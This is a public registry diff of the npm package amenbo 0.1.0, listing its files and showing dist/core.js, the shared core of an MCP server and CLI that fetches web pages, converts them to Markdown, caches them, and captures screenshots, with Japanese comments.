amenbo 0.1.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/LICENSE +21 -0
- package/README.md +171 -0
- package/dist/adapters/index.d.ts +22 -0
- package/dist/adapters/index.js +51 -0
- package/dist/adapters/index.js.map +1 -0
- package/dist/adapters/types.d.ts +21 -0
- package/dist/adapters/types.js +2 -0
- package/dist/adapters/types.js.map +1 -0
- package/dist/cache.d.ts +90 -0
- package/dist/cache.js +286 -0
- package/dist/cache.js.map +1 -0
- package/dist/cli.d.ts +46 -0
- package/dist/cli.js +327 -0
- package/dist/cli.js.map +1 -0
- package/dist/core.d.ts +78 -0
- package/dist/core.js +649 -0
- package/dist/core.js.map +1 -0
- package/dist/diff.d.ts +20 -0
- package/dist/diff.js +44 -0
- package/dist/diff.js.map +1 -0
- package/dist/errors.d.ts +97 -0
- package/dist/errors.js +209 -0
- package/dist/errors.js.map +1 -0
- package/dist/extract/dataSources.d.ts +10 -0
- package/dist/extract/dataSources.js +115 -0
- package/dist/extract/dataSources.js.map +1 -0
- package/dist/extract/geometry.d.ts +63 -0
- package/dist/extract/geometry.js +77 -0
- package/dist/extract/geometry.js.map +1 -0
- package/dist/extract/markdown.d.ts +24 -0
- package/dist/extract/markdown.js +221 -0
- package/dist/extract/markdown.js.map +1 -0
- package/dist/extract/outline.d.ts +33 -0
- package/dist/extract/outline.js +128 -0
- package/dist/extract/outline.js.map +1 -0
- package/dist/extract/pdf.d.ts +22 -0
- package/dist/extract/pdf.js +95 -0
- package/dist/extract/pdf.js.map +1 -0
- package/dist/extract/preview.d.ts +19 -0
- package/dist/extract/preview.js +94 -0
- package/dist/extract/preview.js.map +1 -0
- package/dist/extract/pruning.d.ts +61 -0
- package/dist/extract/pruning.js +101 -0
- package/dist/extract/pruning.js.map +1 -0
- package/dist/extract/qualityScore.d.ts +67 -0
- package/dist/extract/qualityScore.js +98 -0
- package/dist/extract/qualityScore.js.map +1 -0
- package/dist/fetcher/browser.d.ts +85 -0
- package/dist/fetcher/browser.js +343 -0
- package/dist/fetcher/browser.js.map +1 -0
- package/dist/fetcher/http.d.ts +105 -0
- package/dist/fetcher/http.js +538 -0
- package/dist/fetcher/http.js.map +1 -0
- package/dist/fetcher/index.d.ts +41 -0
- package/dist/fetcher/index.js +92 -0
- package/dist/fetcher/index.js.map +1 -0
- package/dist/jp/consentBanner.d.ts +27 -0
- package/dist/jp/consentBanner.js +48 -0
- package/dist/jp/consentBanner.js.map +1 -0
- package/dist/jp/normalize.d.ts +30 -0
- package/dist/jp/normalize.js +65 -0
- package/dist/jp/normalize.js.map +1 -0
- package/dist/links.d.ts +20 -0
- package/dist/links.js +223 -0
- package/dist/links.js.map +1 -0
- package/dist/politeness.d.ts +66 -0
- package/dist/politeness.js +170 -0
- package/dist/politeness.js.map +1 -0
- package/dist/screenshot.d.ts +38 -0
- package/dist/screenshot.js +90 -0
- package/dist/screenshot.js.map +1 -0
- package/dist/server.d.ts +3 -0
- package/dist/server.js +111 -0
- package/dist/server.js.map +1 -0
- package/dist/templateLearning.d.ts +11 -0
- package/dist/templateLearning.js +42 -0
- package/dist/templateLearning.js.map +1 -0
- package/dist/tokens.d.ts +47 -0
- package/dist/tokens.js +141 -0
- package/dist/tokens.js.map +1 -0
- package/package.json +61 -0
package/dist/core.js
ADDED
|
@@ -0,0 +1,649 @@
|
|
|
1
|
+
/**
|
|
2
|
+
* core.ts — MCPサーバー(server.ts)とCLI(cli.ts)が共有するamenboのコアロジック。
|
|
3
|
+
*
|
|
4
|
+
* politeness/cacheのシングルトン、二段フェッチ・キャッシュ・品質判定を経た本文解決
|
|
5
|
+
* (resolvePage)・スクリーンショット解決(resolveScreenshot)・PDF専用経路(handlePdfFetch)、
|
|
6
|
+
* および各ツール(fetch/screenshot)のハンドラと応答フォーマッタをここに集約する。
|
|
7
|
+
* server.tsはMCPツール登録とstdioトランスポート接続のみを、cli.tsは引数パースと
|
|
8
|
+
* 標準出力/ファイル出力のみを担当し、いずれもこのモジュールをimportして利用する。
|
|
9
|
+
*/
|
|
10
|
+
import { readFileSync } from "node:fs";
|
|
11
|
+
import { dirname, join } from "node:path";
|
|
12
|
+
import { fileURLToPath } from "node:url";
|
|
13
|
+
import { computeScreenshotCacheKey, PageCache } from "./cache.js";
|
|
14
|
+
import { diffMarkdown } from "./diff.js";
|
|
15
|
+
import { AmenboError, SectionNotFoundError } from "./errors.js";
|
|
16
|
+
import { detectDataSources } from "./extract/dataSources.js";
|
|
17
|
+
import { extractMarkdown } from "./extract/markdown.js";
|
|
18
|
+
import { buildOutline, extractSection } from "./extract/outline.js";
|
|
19
|
+
import { DEFAULT_PDF_MAX_BYTES, extractPdfText, looksLikePdf, markdownFromPdfText, renderPdfPages } from "./extract/pdf.js";
|
|
20
|
+
import { buildHandoffPreview } from "./extract/preview.js";
|
|
21
|
+
import { evaluateQuality } from "./extract/qualityScore.js";
|
|
22
|
+
import { closeBrowser } from "./fetcher/browser.js";
|
|
23
|
+
import { fetchPage } from "./fetcher/index.js";
|
|
24
|
+
import { assertHttpScheme, httpGetBinary, resolveDefaultMaxBodyBytes } from "./fetcher/http.js";
|
|
25
|
+
import { PolitenessManager } from "./politeness.js";
|
|
26
|
+
import { captureTiledScreenshot, DEFAULT_TILE_WIDTH } from "./screenshot.js";
|
|
27
|
+
import { computeBlockHashes, removeTemplateBlocks } from "./templateLearning.js";
|
|
28
|
+
import { paginateMarkdown } from "./tokens.js";
|
|
29
|
+
/** N1: package.jsonのversionを読み込む(以前はここに"0.3.0"を直書きしておりpackage.json(0.1.0)と不整合だった)。 */
|
|
30
|
+
export function resolvePackageVersion() {
|
|
31
|
+
const fallback = "0.0.0";
|
|
32
|
+
try {
|
|
33
|
+
const packageJsonPath = join(dirname(fileURLToPath(import.meta.url)), "..", "package.json");
|
|
34
|
+
const parsed = JSON.parse(readFileSync(packageJsonPath, "utf-8"));
|
|
35
|
+
return typeof parsed.version === "string" ? parsed.version : fallback;
|
|
36
|
+
}
|
|
37
|
+
catch (error) {
|
|
38
|
+
console.error("package.jsonからバージョンを読み込めませんでした:", error);
|
|
39
|
+
return fallback;
|
|
40
|
+
}
|
|
41
|
+
}
|
|
42
|
+
/** キャッシュTTL(ミリ秒)。運用/検証時の調整用に環境変数で上書きできる(既定はcache.tsの15分)。 */
|
|
43
|
+
export function resolveCacheTtlMs() {
|
|
44
|
+
const raw = process.env.AMENBO_CACHE_TTL_MS;
|
|
45
|
+
if (!raw)
|
|
46
|
+
return undefined;
|
|
47
|
+
const parsed = Number(raw);
|
|
48
|
+
return Number.isFinite(parsed) && parsed > 0 ? parsed : undefined;
|
|
49
|
+
}
|
|
50
|
+
const cacheTtlMs = resolveCacheTtlMs();
|
|
51
|
+
// テスト用export(既存スタイルに合わせた最小のテスト可能化。code-reviewer指摘:
|
|
52
|
+
// politeness.guardの呼び出し回数をテストで検証するため、spyOn対象として参照できる必要がある)。
|
|
53
|
+
export const cache = new PageCache(cacheTtlMs !== undefined ? { ttlMs: cacheTtlMs } : {});
|
|
54
|
+
// CLI併設対応: ドメイン毎の直近リクエスト時刻をcache.ts(host_requestsテーブル)へ永続化し、
|
|
55
|
+
// MCPサーバー/CLIの複数プロセス間でレート制御状態を共有する(cacheをpolitenessより先に
|
|
56
|
+
// 生成する必要があるためこの順序)。
|
|
57
|
+
// code-reviewer指摘: MCPサーバー単体運用時(CLIを使わない場合)でも、このstore注入により
|
|
58
|
+
// waitTurn毎にSQLite I/O(host_requestsの読み取り+書き込み)が発生する。CLIとの
|
|
59
|
+
// プロセス間共有が不要な単一プロセス運用ではインメモリのlastRequestAtだけで十分だったところに、
|
|
60
|
+
// 常時わずかなディスクI/Oコストを払うトレードオフになる(better-sqlite3は同期I/Oで
|
|
61
|
+
// 小さな1行read/writeのため実測上は無視できるレベルだが、"低負荷優先"の設計原則上は
|
|
62
|
+
// 意図的なトレードオフとして明記しておく)。
|
|
63
|
+
export const politeness = new PolitenessManager({
|
|
64
|
+
store: {
|
|
65
|
+
getLastRequestAt: (host) => cache.getHostLastRequestAt(host),
|
|
66
|
+
setLastRequestAt: (host, at) => cache.setHostLastRequestAt(host, at),
|
|
67
|
+
},
|
|
68
|
+
});
|
|
69
|
+
// M2: cache.close()は同期処理なので'exit'イベント(非同期処理を待てない)内でも安全に呼べる。
|
|
70
|
+
// 一方でSIGINT/SIGTERMはブラウザのクリーンアップ(非同期)を待ってから明示的にprocess.exit()する
|
|
71
|
+
// 必要がある(fetcher/browser.tsのregisterCleanupHandlersと同様の理由。あちらは
|
|
72
|
+
// getBrowser()が一度も呼ばれない=chromium未起動のセッションではリスナー登録自体が行われない
|
|
73
|
+
// ため、ここでサーバー起点の終了処理として独立して登録しておく)。
|
|
74
|
+
process.once("exit", () => {
|
|
75
|
+
cache.close();
|
|
76
|
+
});
|
|
77
|
+
process.once("SIGINT", () => {
|
|
78
|
+
void closeBrowser().finally(() => process.exit(0));
|
|
79
|
+
});
|
|
80
|
+
process.once("SIGTERM", () => {
|
|
81
|
+
void closeBrowser().finally(() => process.exit(0));
|
|
82
|
+
});
|
|
83
|
+
const DEFAULT_MAX_TOKENS = 8000;
|
|
84
|
+
const DEFAULT_PAGE = 1;
|
|
85
|
+
const DEFAULT_SCREENSHOT_SCALE = 1.0;
|
|
86
|
+
/** URLのhostnameを安全に取り出す(不正URLならnull)。Phase 4テンプレート学習のドメインキーに使う。 */
|
|
87
|
+
function safeHostname(url) {
|
|
88
|
+
try {
|
|
89
|
+
return new URL(url).hostname;
|
|
90
|
+
}
|
|
91
|
+
catch {
|
|
92
|
+
return null;
|
|
93
|
+
}
|
|
94
|
+
}
|
|
95
|
+
/** サーバー側が304を受け取ったがキャッシュが存在しない、という到達しないはずの異常系。 */
|
|
96
|
+
class UnexpectedNotModifiedError extends AmenboError {
|
|
97
|
+
code = "UNEXPECTED_NOT_MODIFIED";
|
|
98
|
+
constructor(url) {
|
|
99
|
+
super(`キャッシュが存在しないのにNot Modified(304)が返されました: ${url}`);
|
|
100
|
+
}
|
|
101
|
+
}
|
|
102
|
+
/** URLとselectorの組から、新規取得・変換したMarkdownと品質スコア/pruning/アダプタ/ジオメトリ結果を作る。 */
|
|
103
|
+
async function fetchAndExtract(url, selector, conditionalHeaders) {
|
|
104
|
+
const fetchResult = await fetchPage(url, conditionalHeaders ? { headers: conditionalHeaders } : {});
|
|
105
|
+
if ("notModified" in fetchResult) {
|
|
106
|
+
return { status: "not_modified" };
|
|
107
|
+
}
|
|
108
|
+
// 機能B: HTML/PDF以外のコンテンツはハンドオフ応答(メタデータ+プレビュー+curl誘導)の対象。
|
|
109
|
+
// Markdown抽出・品質判定・キャッシュ保存は行わない。
|
|
110
|
+
if ("handoff" in fetchResult) {
|
|
111
|
+
return { status: "handoff", handoff: fetchResult };
|
|
112
|
+
}
|
|
113
|
+
let extracted = extractMarkdown(fetchResult.html, {
|
|
114
|
+
url: fetchResult.finalUrl,
|
|
115
|
+
...(selector ? { selector } : {}),
|
|
116
|
+
geometry: fetchResult.geometry,
|
|
117
|
+
});
|
|
118
|
+
let finalFetchResult = fetchResult;
|
|
119
|
+
// Phase 4 ジオメトリ抽出: HTTP tierでReadability/アダプタ双方が失敗した(body-fallback)場合、
|
|
120
|
+
// 二段フェッチのSPA判定に該当しなくても、ジオメトリ(bounding box)を得る目的だけで
|
|
121
|
+
// ブラウザへ再エスカレーションする。div soup/テーブルレイアウトの古い個人/中小企業サイト
|
|
122
|
+
// 対策の本命(plan.md §6 Phase4)。selector指定時はユーザーが本文位置を明示済みなので行わない。
|
|
123
|
+
// ジオメトリでも改善しなかった場合はHTTP tierの結果(body-fallback)をそのまま使う。
|
|
124
|
+
if (!selector && fetchResult.tier === "http" && extracted.extractionMethod === "body-fallback") {
|
|
125
|
+
try {
|
|
126
|
+
await politeness.waitTurn(url); // 追加のブラウザ遷移が発生するため、律速のため再度順番を待つ
|
|
127
|
+
const browserFetchResult = await fetchPage(url, { forceBrowser: true });
|
|
128
|
+
if (!("notModified" in browserFetchResult) && !("handoff" in browserFetchResult)) {
|
|
129
|
+
const browserExtracted = extractMarkdown(browserFetchResult.html, { url: browserFetchResult.finalUrl, geometry: browserFetchResult.geometry });
|
|
130
|
+
if (browserExtracted.extractionMethod === "geometry") {
|
|
131
|
+
extracted = browserExtracted;
|
|
132
|
+
finalFetchResult = browserFetchResult;
|
|
133
|
+
}
|
|
134
|
+
}
|
|
135
|
+
}
|
|
136
|
+
catch {
|
|
137
|
+
// 再エスカレーションに失敗してもHTTP tierの結果(body-fallback)をそのまま使う(ベストエフォート)
|
|
138
|
+
}
|
|
139
|
+
}
|
|
140
|
+
const quality = evaluateQuality(extracted.qualityInput);
|
|
141
|
+
// 機能C: 最終的に採用したfetch結果(HTTP tier、またはジオメトリ再エスカレーション成功時は
|
|
142
|
+
// browser tier)のHTMLからページ内の構造化データリンクを検出する。screenshotモードへの
|
|
143
|
+
// 自動切替(mode:auto)はこの後server.ts側で判定されるため、ここでは常に計算しておき
|
|
144
|
+
// (検出ゼロならトークン増ゼロ)、screenshot応答側では単に参照しない。
|
|
145
|
+
const dataSourceHints = detectDataSources(finalFetchResult.html, finalFetchResult.finalUrl);
|
|
146
|
+
return {
|
|
147
|
+
status: "fetched",
|
|
148
|
+
markdown: extracted.markdown,
|
|
149
|
+
title: extracted.title,
|
|
150
|
+
finalUrl: finalFetchResult.finalUrl,
|
|
151
|
+
tier: finalFetchResult.tier,
|
|
152
|
+
etag: finalFetchResult.etag,
|
|
153
|
+
lastModified: finalFetchResult.lastModified,
|
|
154
|
+
lowQuality: quality.lowQuality,
|
|
155
|
+
qualityReason: quality.reason,
|
|
156
|
+
prunedBlockCount: extracted.prunedBlockCount,
|
|
157
|
+
adapterName: extracted.adapterName,
|
|
158
|
+
extractionMethod: extracted.extractionMethod,
|
|
159
|
+
dataSourceHints,
|
|
160
|
+
};
|
|
161
|
+
}
|
|
162
|
+
function pageFromCacheEntry(url, cached, cacheStatus) {
|
|
163
|
+
const metadata = cached?.metadata ?? {};
|
|
164
|
+
const dataSourceHints = Array.isArray(metadata.dataSourceHints) ? metadata.dataSourceHints : [];
|
|
165
|
+
return {
|
|
166
|
+
title: metadata.title ?? null,
|
|
167
|
+
finalUrl: metadata.finalUrl ?? url,
|
|
168
|
+
tier: "cache",
|
|
169
|
+
cacheStatus,
|
|
170
|
+
markdown: cached?.markdown ?? "",
|
|
171
|
+
lowQuality: Boolean(metadata.lowQuality),
|
|
172
|
+
qualityReason: metadata.qualityReason ?? null,
|
|
173
|
+
prunedBlockCount: Number(metadata.prunedBlockCount ?? 0),
|
|
174
|
+
adapterName: metadata.adapterName ?? null,
|
|
175
|
+
extractionMethod: metadata.extractionMethod ?? "readability",
|
|
176
|
+
previousMarkdown: null,
|
|
177
|
+
dataSourceHints,
|
|
178
|
+
};
|
|
179
|
+
}
|
|
180
|
+
/**
|
|
181
|
+
* URL(+selector)からMarkdownを解決する。selector指定時はURL単位のキャッシュを使わない
|
|
182
|
+
* (同一URLでも抽出結果がselector毎に変わるため)。品質スコア/アダプタ判定結果もキャッシュ
|
|
183
|
+
* メタデータへ保存し、'fresh'なキャッシュ応答時にも再フェッチ無しでmode:autoの判定を再現する。
|
|
184
|
+
* 機能B: 非HTMLコンテンツ(ハンドオフ対象)を取得した場合は { kind: "handoff" } を返す。
|
|
185
|
+
*/
|
|
186
|
+
async function resolvePage(url, selector) {
|
|
187
|
+
if (selector) {
|
|
188
|
+
const result = await fetchAndExtract(url, selector, undefined);
|
|
189
|
+
if (result.status === "not_modified") {
|
|
190
|
+
throw new UnexpectedNotModifiedError(url);
|
|
191
|
+
}
|
|
192
|
+
if (result.status === "handoff") {
|
|
193
|
+
return { kind: "handoff", handoff: result.handoff };
|
|
194
|
+
}
|
|
195
|
+
return {
|
|
196
|
+
title: result.title,
|
|
197
|
+
finalUrl: result.finalUrl,
|
|
198
|
+
tier: result.tier,
|
|
199
|
+
cacheStatus: "miss",
|
|
200
|
+
markdown: result.markdown,
|
|
201
|
+
lowQuality: result.lowQuality,
|
|
202
|
+
qualityReason: result.qualityReason,
|
|
203
|
+
prunedBlockCount: result.prunedBlockCount,
|
|
204
|
+
adapterName: result.adapterName,
|
|
205
|
+
extractionMethod: result.extractionMethod,
|
|
206
|
+
previousMarkdown: null,
|
|
207
|
+
dataSourceHints: result.dataSourceHints,
|
|
208
|
+
};
|
|
209
|
+
}
|
|
210
|
+
const cached = cache.get(url);
|
|
211
|
+
if (cached && cache.isFresh(cached)) {
|
|
212
|
+
return pageFromCacheEntry(url, cached, "fresh");
|
|
213
|
+
}
|
|
214
|
+
const conditionalHeaders = {};
|
|
215
|
+
if (cached?.etag)
|
|
216
|
+
conditionalHeaders["If-None-Match"] = cached.etag;
|
|
217
|
+
if (cached?.lastModified)
|
|
218
|
+
conditionalHeaders["If-Modified-Since"] = cached.lastModified;
|
|
219
|
+
const result = await fetchAndExtract(url, undefined, Object.keys(conditionalHeaders).length > 0 ? conditionalHeaders : undefined);
|
|
220
|
+
if (result.status === "not_modified") {
|
|
221
|
+
if (!cached)
|
|
222
|
+
throw new UnexpectedNotModifiedError(url);
|
|
223
|
+
cache.touch(url);
|
|
224
|
+
return pageFromCacheEntry(url, cached, "revalidated");
|
|
225
|
+
}
|
|
226
|
+
if (result.status === "handoff") {
|
|
227
|
+
return { kind: "handoff", handoff: result.handoff };
|
|
228
|
+
}
|
|
229
|
+
const previousMarkdown = cached?.markdown ?? null;
|
|
230
|
+
// Phase 4 テンプレート学習: このページの(除去前・全)ブロックハッシュをドメイン別に記録する。
|
|
231
|
+
// selector指定時(このブランチには来ない)は記録しない(選択範囲が偏り学習を汚すため)。
|
|
232
|
+
const domain = safeHostname(result.finalUrl);
|
|
233
|
+
if (domain) {
|
|
234
|
+
cache.recordDomainPageBlocks(domain, url, computeBlockHashes(result.markdown));
|
|
235
|
+
}
|
|
236
|
+
cache.set({
|
|
237
|
+
url,
|
|
238
|
+
etag: result.etag,
|
|
239
|
+
lastModified: result.lastModified,
|
|
240
|
+
markdown: result.markdown,
|
|
241
|
+
metadata: {
|
|
242
|
+
title: result.title,
|
|
243
|
+
finalUrl: result.finalUrl,
|
|
244
|
+
tier: result.tier,
|
|
245
|
+
lowQuality: result.lowQuality,
|
|
246
|
+
qualityReason: result.qualityReason,
|
|
247
|
+
prunedBlockCount: result.prunedBlockCount,
|
|
248
|
+
adapterName: result.adapterName,
|
|
249
|
+
extractionMethod: result.extractionMethod,
|
|
250
|
+
dataSourceHints: result.dataSourceHints,
|
|
251
|
+
},
|
|
252
|
+
});
|
|
253
|
+
return {
|
|
254
|
+
title: result.title,
|
|
255
|
+
finalUrl: result.finalUrl,
|
|
256
|
+
tier: result.tier,
|
|
257
|
+
cacheStatus: "miss",
|
|
258
|
+
markdown: result.markdown,
|
|
259
|
+
lowQuality: result.lowQuality,
|
|
260
|
+
qualityReason: result.qualityReason,
|
|
261
|
+
prunedBlockCount: result.prunedBlockCount,
|
|
262
|
+
adapterName: result.adapterName,
|
|
263
|
+
extractionMethod: result.extractionMethod,
|
|
264
|
+
previousMarkdown,
|
|
265
|
+
dataSourceHints: result.dataSourceHints,
|
|
266
|
+
};
|
|
267
|
+
}
|
|
268
|
+
/**
|
|
269
|
+
* M4: キャッシュ済みタイルのPNGファイルが(手動削除・M3のTTL掃除の競合等で)欠損している場合、
|
|
270
|
+
* 生のENOENTを伝播させず null を返してcache miss扱い(再撮影)へフォールバックする。
|
|
271
|
+
*/
|
|
272
|
+
function readCachedTiles(tilePaths) {
|
|
273
|
+
try {
|
|
274
|
+
return tilePaths.map((filePath) => ({ data: readFileSync(filePath) }));
|
|
275
|
+
}
|
|
276
|
+
catch (error) {
|
|
277
|
+
const isEnoent = error instanceof Error && "code" in error && error.code === "ENOENT";
|
|
278
|
+
if (isEnoent)
|
|
279
|
+
return null;
|
|
280
|
+
throw error;
|
|
281
|
+
}
|
|
282
|
+
}
|
|
283
|
+
async function resolveScreenshot(url, options) {
|
|
284
|
+
// 公開品質バグ修正: robots.txt取得(politeness.guard)やブラウザ起動より前にスキームを検証する。
|
|
285
|
+
// file:等を先に弾かないと、politeness側が origin("null"等)からrobots URLを組み立てる際に
|
|
286
|
+
// 壊れたURLになり、生のTypeErrorがstderrに漏れてしまう(guardPublicAddress自体は
|
|
287
|
+
// このあとcaptureTiledScreenshot内のnavigateSafelyでも検証するが、それより前段で
|
|
288
|
+
// クリーンな型付きエラーとして早期に弾く)。
|
|
289
|
+
assertHttpScheme(url);
|
|
290
|
+
// 実URLへの独立したブラウザ遷移が発生するため、markdown抽出時とは別にpolitenessの順番待ちを行う。
|
|
291
|
+
// ただし呼び出し元(handleFetchTool)で既にguard済みの場合はskipGuardで二重待機を避ける。
|
|
292
|
+
if (!options.skipGuard) {
|
|
293
|
+
await politeness.guard(url);
|
|
294
|
+
}
|
|
295
|
+
const cacheKey = computeScreenshotCacheKey(url, options.width, options.scale, options.fullPage);
|
|
296
|
+
const cached = cache.getScreenshot(cacheKey);
|
|
297
|
+
if (cached && cache.isFresh(cached)) {
|
|
298
|
+
const tiles = readCachedTiles(cached.tilePaths);
|
|
299
|
+
if (tiles) {
|
|
300
|
+
return {
|
|
301
|
+
finalUrl: cached.url,
|
|
302
|
+
tiles,
|
|
303
|
+
cacheStatus: "fresh",
|
|
304
|
+
pageWidth: Number(cached.metadata.pageWidth ?? 0),
|
|
305
|
+
pageHeight: Number(cached.metadata.pageHeight ?? 0),
|
|
306
|
+
truncated: Boolean(cached.metadata.truncated),
|
|
307
|
+
};
|
|
308
|
+
}
|
|
309
|
+
// PNGファイル欠損: キャッシュmiss扱いで下の再撮影へフォールスルーする
|
|
310
|
+
}
|
|
311
|
+
const captured = await captureTiledScreenshot(url, options);
|
|
312
|
+
cache.setScreenshot({
|
|
313
|
+
cacheKey,
|
|
314
|
+
url: captured.finalUrl,
|
|
315
|
+
tiles: captured.tiles.map((tile) => tile.png),
|
|
316
|
+
metadata: { pageWidth: captured.pageWidth, pageHeight: captured.pageHeight, truncated: captured.truncated },
|
|
317
|
+
});
|
|
318
|
+
return {
|
|
319
|
+
finalUrl: captured.finalUrl,
|
|
320
|
+
tiles: captured.tiles.map((tile) => ({ data: tile.png })),
|
|
321
|
+
cacheStatus: "miss",
|
|
322
|
+
pageWidth: captured.pageWidth,
|
|
323
|
+
pageHeight: captured.pageHeight,
|
|
324
|
+
truncated: captured.truncated,
|
|
325
|
+
};
|
|
326
|
+
}
|
|
327
|
+
function adapterLine(adapterName) {
|
|
328
|
+
return adapterName ? [`adapter: ${adapterName}`] : [];
|
|
329
|
+
}
|
|
330
|
+
/**
|
|
331
|
+
* 抽出経路の注記。"readability"(既定の成功経路)/"adapter"(adapter:行と重複するため省略)/
|
|
332
|
+
* "selector"(ユーザー指定なので自明)は表示せず、Phase 4の "geometry" と、
|
|
333
|
+
* 品質が疑わしい "body-fallback" のみユーザーへ明示する(トークン節約)。
|
|
334
|
+
*/
|
|
335
|
+
function extractionMethodLine(method) {
|
|
336
|
+
return method === "geometry" || method === "body-fallback" ? [`extraction: ${method}`] : [];
|
|
337
|
+
}
|
|
338
|
+
/** Phase 4: テンプレート学習で除去した定型ブロック数(0件なら表示しない。トークン節約)。 */
|
|
339
|
+
function templateRemovedLine(templateRemovedCount) {
|
|
340
|
+
return templateRemovedCount > 0 ? [`template_blocks_removed: ${templateRemovedCount}`] : [];
|
|
341
|
+
}
|
|
342
|
+
/** N6: 単一ブロックがmax_tokens予算を超過し、分割できずそのまま返した場合のみ明示する。 */
|
|
343
|
+
function budgetExceededLine(paginated) {
|
|
344
|
+
return paginated.exceededBudget ? [`budget_exceeded: true(単一ブロックがmax_tokensを超過しています)`] : [];
|
|
345
|
+
}
|
|
346
|
+
/** 機能C: 構造化データリンクのヒント(検出ゼロなら空文字=トークン増ゼロ)。 */
|
|
347
|
+
export function dataSourcesSection(hints) {
|
|
348
|
+
return hints.length > 0 ? `\n\ndata_sources:\n${hints.join("\n")}` : "";
|
|
349
|
+
}
|
|
350
|
+
function formatMarkdownResponse(page, paginated, sectionId, templateRemovedCount) {
|
|
351
|
+
const header = [
|
|
352
|
+
`title: ${page.title ?? "(なし)"}`,
|
|
353
|
+
`url: ${page.finalUrl}`,
|
|
354
|
+
`mode_used: markdown`,
|
|
355
|
+
...(sectionId ? [`section: ${sectionId}`] : []),
|
|
356
|
+
`cache: ${page.cacheStatus}`,
|
|
357
|
+
`tokens: ${paginated.tokens}`,
|
|
358
|
+
`page: ${paginated.page} of ${paginated.totalPages}`,
|
|
359
|
+
`fetch_tier: ${page.tier}`,
|
|
360
|
+
`pruned_blocks: ${page.prunedBlockCount}`,
|
|
361
|
+
...adapterLine(page.adapterName),
|
|
362
|
+
...extractionMethodLine(page.extractionMethod),
|
|
363
|
+
...templateRemovedLine(templateRemovedCount),
|
|
364
|
+
...budgetExceededLine(paginated),
|
|
365
|
+
].join("\n");
|
|
366
|
+
return `${header}\n\n${paginated.content}${dataSourcesSection(page.dataSourceHints)}`;
|
|
367
|
+
}
|
|
368
|
+
/** §3-3 差分応答: 本文ハッシュ一致(約10トークンの短文応答)。 */
|
|
369
|
+
function formatUnchangedResponse(page) {
|
|
370
|
+
return [`url: ${page.finalUrl}`, `mode_used: markdown`, `cache: unchanged`].join("\n");
|
|
371
|
+
}
|
|
372
|
+
function formatSectionDiffBlock(diff) {
|
|
373
|
+
const label = diff.type === "added" ? "追加" : diff.type === "removed" ? "削除" : "変更";
|
|
374
|
+
if (diff.type === "removed") {
|
|
375
|
+
return `${"#".repeat(diff.level)} ${diff.heading} [${label}]`;
|
|
376
|
+
}
|
|
377
|
+
const lines = diff.content.split("\n");
|
|
378
|
+
if (lines.length > 0 && /^#{1,6}\s/.test(lines[0] ?? "")) {
|
|
379
|
+
lines[0] = `${lines[0]} [${label}]`;
|
|
380
|
+
return lines.join("\n");
|
|
381
|
+
}
|
|
382
|
+
return `${"#".repeat(diff.level)} ${diff.heading} [${label}]\n\n${diff.content}`;
|
|
383
|
+
}
|
|
384
|
+
/** §3-3 差分応答: 変更・追加・削除された節のみ返却。 */
|
|
385
|
+
function formatDiffResponse(page, sections, templateRemovedCount) {
|
|
386
|
+
const counts = { added: 0, changed: 0, removed: 0 };
|
|
387
|
+
for (const section of sections)
|
|
388
|
+
counts[section.type]++;
|
|
389
|
+
const header = [
|
|
390
|
+
`title: ${page.title ?? "(なし)"}`,
|
|
391
|
+
`url: ${page.finalUrl}`,
|
|
392
|
+
`mode_used: markdown`,
|
|
393
|
+
`cache: diff`,
|
|
394
|
+
`changed_sections: ${sections.length}(追加${counts.added}/変更${counts.changed}/削除${counts.removed})`,
|
|
395
|
+
`fetch_tier: ${page.tier}`,
|
|
396
|
+
...adapterLine(page.adapterName),
|
|
397
|
+
...extractionMethodLine(page.extractionMethod),
|
|
398
|
+
...templateRemovedLine(templateRemovedCount),
|
|
399
|
+
].join("\n");
|
|
400
|
+
return `${header}\n\n${sections.map(formatSectionDiffBlock).join("\n\n")}${dataSourcesSection(page.dataSourceHints)}`;
|
|
401
|
+
}
|
|
402
|
+
function formatOutlineResponse(page, outline, templateRemovedCount) {
|
|
403
|
+
const header = [
|
|
404
|
+
`title: ${page.title ?? "(なし)"}`,
|
|
405
|
+
`url: ${page.finalUrl}`,
|
|
406
|
+
`mode_used: outline`,
|
|
407
|
+
`cache: ${page.cacheStatus}`,
|
|
408
|
+
`total_tokens: ${outline.totalTokens}`,
|
|
409
|
+
`fetch_tier: ${page.tier}`,
|
|
410
|
+
...adapterLine(page.adapterName),
|
|
411
|
+
...extractionMethodLine(page.extractionMethod),
|
|
412
|
+
...templateRemovedLine(templateRemovedCount),
|
|
413
|
+
].join("\n");
|
|
414
|
+
const body = outline.sections
|
|
415
|
+
.map((section) => `${" ".repeat(section.level - 1)}- [${section.id}] ${"#".repeat(section.level)} ${section.heading} — ${section.excerpt} (~${section.tokens} tok)`)
|
|
416
|
+
.join("\n") || "(見出しが見つかりませんでした。mode: markdown で全文を取得してください)";
|
|
417
|
+
return `${header}\n\n${body}`;
|
|
418
|
+
}
|
|
419
|
+
export function buildScreenshotContent(page, screenshot, reason) {
|
|
420
|
+
const header = [
|
|
421
|
+
`title: ${page.title ?? "(なし)"}`,
|
|
422
|
+
`url: ${screenshot.finalUrl}`,
|
|
423
|
+
`mode_used: screenshot`,
|
|
424
|
+
`cache: ${screenshot.cacheStatus}`,
|
|
425
|
+
`reason: ${reason ?? "明示的にscreenshotが指定されました"}`,
|
|
426
|
+
`tiles: ${screenshot.tiles.length}`,
|
|
427
|
+
`page_size: ${screenshot.pageWidth}x${screenshot.pageHeight}`,
|
|
428
|
+
`fetch_tier: browser`,
|
|
429
|
+
// N7: MAX_TILES切り捨てが発生した場合のみ明示する(トークン節約)
|
|
430
|
+
...(screenshot.truncated ? [`truncated: true(MAX_TILES枚を超えるため切り捨てました)`] : []),
|
|
431
|
+
].join("\n");
|
|
432
|
+
return [
|
|
433
|
+
{ type: "text", text: header },
|
|
434
|
+
...screenshot.tiles.map((tile) => ({ type: "image", data: tile.data.toString("base64"), mimeType: "image/png" })),
|
|
435
|
+
];
|
|
436
|
+
}
|
|
437
|
+
export function formatLinksResponse(url, result) {
|
|
438
|
+
const header = [`url: ${url}`, `source: ${result.source}`, `count: ${result.links.length}${result.truncated ? " (truncated)" : ""}`].join("\n");
|
|
439
|
+
const body = result.links.map((link) => (link.title ? `- ${link.title} — ${link.url}` : `- ${link.url}`)).join("\n");
|
|
440
|
+
return `${header}\n\n${body || "(リンクが見つかりませんでした)"}`;
|
|
441
|
+
}
|
|
442
|
+
